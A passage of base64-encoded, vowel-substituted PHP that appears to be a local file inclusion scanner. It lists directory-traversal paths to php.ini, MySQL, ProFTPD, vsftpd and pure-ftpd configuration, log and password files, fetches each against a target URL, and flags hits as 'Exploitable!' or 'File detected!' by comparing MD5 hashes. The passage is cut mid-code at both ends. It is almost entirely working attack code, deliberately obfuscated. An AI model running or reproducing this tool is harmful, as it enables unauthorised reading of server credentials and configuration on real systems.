4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHB1L2NnNC9waHAuNG40Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTcgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9waHBpL2NnNC9waHAuNG40Ii4kYnl0NTYuIiIpOyANCiAgICAgICAgIA0KICAgICAgICAgICRsZjRteXNxbCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwvbXlzcWwtYjRuLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9teXNxbGQ1cnIyci5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL215c3FsL215c3FsLmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvbXlzcWwvbXlzcWwtc2wydy5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbXlzcWwubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2w0Yi9teXNxbC9teS5jbmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvbXlzcWwvbXkuY25mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgOSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9teXNxbGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9teS5jbmYiLiRieXQ1Ni4iIik7IA0KICAgICAgICAgDQogICAgICAgICAgJGxmNGZ0cCA9IDFycjF5KCANCiAgICAgICAgICAgIDYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9sMmdyMnQxdDUuZC9wcjJmdHBkIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vd3d3L2wyZ3MvcHIyZnRwZC5zeXN0NW0ubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9wcjJmdHBkIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgdSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ByMmZ0cC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ByMnRwZC9wcjJmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdmhjc2EvcHIyZnRwZC9wcjJmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcHIyZnRwZC9tMmQzbDVzLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA4ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL3ZzZnRwZC5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA5ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdnNmdHBkLmNocjIydF9sNHN0Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjAgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9sMmdyMnQxdDUuZC92c2Z0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNjYgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy92c2Z0cGQvdnNmdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3ZzZnRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgNm8gPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9jaHIyMnRVczVycyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZ1ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi92MXIvbDJnL3hmNXJsMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2aSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyLzFkbS9sMmcveGY1cmwyZyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIDZlID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvdzMtZnRwZC9mdHAxY2M1c3MiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2NyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3czLWZ0cGQvZnRwaDJzdHMiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3czLWZ0cGQvZnRwM3M1cnMiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICA2OSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL3NiNG4vcDNyNS1jMm5mNGcucGwiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyLzV0Yy9wM3I1LWZ0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE2ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkL3AzcjUtZnRwZC5jMm5mIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYWEgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9sMmMxbC81dGMvcDNyNS1mdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhdSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhaSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkL3NiNG4vcDNyNS1jMm5mNGcucGwiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhZSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL2wyYzFsL3AzcjVmdHBkLzV0Yy9wM3I1LWZ0cGQuYzJuZiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIGE3ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkLmMybmYiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBhOCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3AzcjUtZnRwZC9wM3I1LWZ0cGQucGRiIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgYTkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9wM3I1ZnRwZC5wZGIiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvMCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL3AzcjVmdHBkLnAxc3N3ZCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG82ID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvcDNyNS1mdHBkL3AzcjVmdHBkLnBkYiIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9hID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvcDJydHMvZnRwL3AzcjUtZnRwZC8iLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvbyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vM3NyL3AycnRzL241dC9wM3I1LWZ0cGQvIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb3UgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzNzci9wa2dzcmMvbjV0L3AzcjVmdHBkLyIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIG9pID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8zc3IvcDJydHMvYzJudHI0Yi9wM3I1LWZ0cGQvIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgb2UgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvcDNyNS1mdHBkL3AzcjUtZnRwZC5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICBvNyA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vbDJncy9wM3I1LWZ0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbzggPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvcDNyNWZ0cGQubDJnIi4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgbzkgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uL3Yxci9sMmcvZnRwLXByMnh5L2Z0cC1wcjJ4eS5sMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1MCA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9mdHAtcHIyeHkiLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1NiA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vdjFyL2wyZy9mdHBsMmciLiRieXQ1Ni4iIiwgDQogICAgICAgICAgICB1YSA9PiAiLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vLi4vNXRjL2wyZ3IydDF0NS5kL2Z0cCIuJGJ5dDU2LiIiLCANCiAgICAgICAgICAgIHVvID0+ICIuLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi8uLi81dGMvZnRwY2hyMjJ0Ii4kYnl0NTYuIiIsIA0KICAgICAgICAgICAgdXUgPT4gIi4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLy4uLzV0Yy9mdHBoMnN0cyIuJGJ5dDU2LiIiKTsgDQogICAgICAgICANCiAgDQogICAgICAgICAkeCA9IDY7IA0KICAgICAgICAgNGYgKCAkdHlwNSA9PSA2ICkgeyANCiAgICAgICAgICAgICRyNXM2ID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdCk7IA0KICAgICAgICAgICAgJHI1c2EgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0YSk7IA0KICAgICAgICAgICAgJHJoMXNoNiA9IG1kaSgkcjVzNik7IA0KICAgICAgICAgICAgJHJoMXNoYSA9IG1kaSgkcjVzYSk7IA0KICAgICAgICAgICAgNGYgKCRyaDFzaDYgIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRXhwbDI0dDFibDUhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjR0NXN0LiJcIj4iLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICB3aDRsNSgkbGY0MWNjNXNzWyR4XSkgeyANCiAgICAgICAgICAgICAgICAkcjVzbyA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNDFjYzVzc1skeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNDFjYzVzc1skeF0uIlwiPiIuJHQxcmc1dC4iIi4kbGY0MWNjNXNzWyR4XS4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgICAgICB9IA0KICAgICAgICAgICAgICAgIDVsczUgeyAgICAgICAgICAgICAgDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J3I1ZCc+WyFdIEYxNGw1ZCE8L2YybnQ+Ii4kdDFyZzV0LiIiLiRsZjQxY2M1c3NbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gYSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNGMybmY0Z1skeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRjMm5mNGdbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRjMm5mNGdbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNGMybmY0Z1skeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0YzJuZjRnWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICA0ZiAoICR0eXA1ID09IG8gKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoNGw1KCRsZjQ1cnIyclskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjQ1cnIyclskeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNDVycjJyWyR4XS4iXCI+Ii4kdDFyZzV0LiIiLiRsZjQ1cnIyclskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0NXJyMnJbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gdSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNHBocDRuNFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRwaHA0bjRbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRwaHA0bjRbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNHBocDRuNFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0cGhwNG40WyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQogICAgICAgICA0ZiAoICR0eXA1ID09IGkgKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iOyANCiAgICAgICAgICAgIHdoNGw1KCRsZjRteXNxbFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRteXNxbFskeF0pOyANCiAgICAgICAgICAgICAgICAkcmgxc2hvID0gbWRpKCRyNXNvKTsgDQogICAgICAgICAgICAgICAgNGYgKCRyaDFzaG8gIT0gJHJoMXNoYSkgeyANCiAgICAgICAgICAgICAgICBwcjRudCAiPGYybnQgYzJsMnI9J2dyNTVuJz5bK10gRjRsNSBkNXQ1Y3Q1ZCE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNG15c3FsWyR4XS4iXCI+Ii4kdDFyZzV0LiIiLiRsZjRteXNxbFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0bXlzcWxbJHhdLiI8YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICAkeCsrOyANCiAgICAgIH0gDQogICAgICB9IA0KICAgICAgICAgfSANCiAgICAgICAgIDRmICggJHR5cDUgPT0gZSApIHsgDQogICAgICAgICAgICAkcjVzNiA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3QpOyANCiAgICAgICAgICAgICRyNXNhID0gRjV0Y2hVUkwoJHQxcmc1dC4kbGY0dDVzdGEpOyANCiAgICAgICAgICAgICRyaDFzaDYgPSBtZGkoJHI1czYpOyANCiAgICAgICAgICAgICRyaDFzaGEgPSBtZGkoJHI1c2EpOyANCiAgICAgICAgICAgIDRmICgkcmgxc2g2ICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEV4cGwyNHQxYmw1ITwvZjJudD4gPDEgaHI1Zj1cIiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iXCI+Ii4kdDFyZzV0LiIiLiRsZjR0NXN0LiI8LzE+PGJyICAvPiI7IA0KICAgICAgICAgICAgd2g0bDUoJGxmNGZ0cFskeF0pIHsgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRmdHBbJHhdKTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdncjU1bic+WytdIEY0bDUgZDV0NWN0NWQhPC9mMm50PiA8MSBocjVmPVwiIi4kdDFyZzV0LiIiLiRsZjRmdHBbJHhdLiJcIj4iLiR0MXJnNXQuIiIuJGxmNGZ0cFskeF0uIjwvMT48YnIgIC8+IjsgDQogICAgICAgICAgICAgICAgfSANCiAgICAgICAgICAgICAgICA1bHM1IHsgICAgICAgICAgICAgIA0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMybDJyPSdyNWQnPlshXSBGMTRsNWQhPC9mMm50PiIuJHQxcmc1dC4iIi4kbGY0ZnRwWyR4XS4iPGJyICAvPiI7IA0KICAgICAgICAgICAgICAgIH0gDQogICAgICAgICAgICAgICAgJHgrKzsgDQogICAgICB9IA0KICAgICAgfSANCiAgICAgICAgIH0gDQo0ZiAoICR0eXA1ID09IDcgKSB7IA0KICAgICAgICAgICAgJHI1czYgPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjR0NXN0KTsgDQogICAgICAgICAgICAkcjVzYSA9IEY1dGNoVVJMKCR0MXJnNXQuJGxmNHQ1c3RhKTsgDQogICAgICAgICAgICAkcmgxc2g2ID0gbWRpKCRyNXM2KTsgDQogICAgICAgICAgICAkcmgxc2hhID0gbWRpKCRyNXNhKTsgDQogICAgICAgICAgICA0ZiAoJHJoMXNoNiAhPSAkcmgxc2hhKSB7IA0KICAgICAgICAgICAgICAgIHByNG50ICI8ZjJudCBjMmwycj0nZ3I1NW4nPlsrXSBFeHBsMjR0MWJsNSE8L2YybnQ+IDwxIGhyNWY9XCIiLiR0MXJnNXQuIiIuJGxmNHQ1c3QuIlwiPiIuJHQxcmc1dC4iIi4kbGY0dDVzdC4iPC8xPjxiciAgLz4iO3sgDQogICAgICAgICAgICAgICAgJHI1c28gPSBGNXRjaFVSTCgkdDFyZzV0LiRsZjRwcjJjNW52KTsgDQogICAgICAgICAgICAgICAgJHJoMXNobyA9IG1kaSgkcjVzbyk7IA0KICAgICAgICAgICAgICAgIDRmICgkcmgxc2hvICE9ICRyaDFzaGEpIHsgDQogICAgICAgICAgICAgICAgcHI0bnQgIjxmMm50IGMy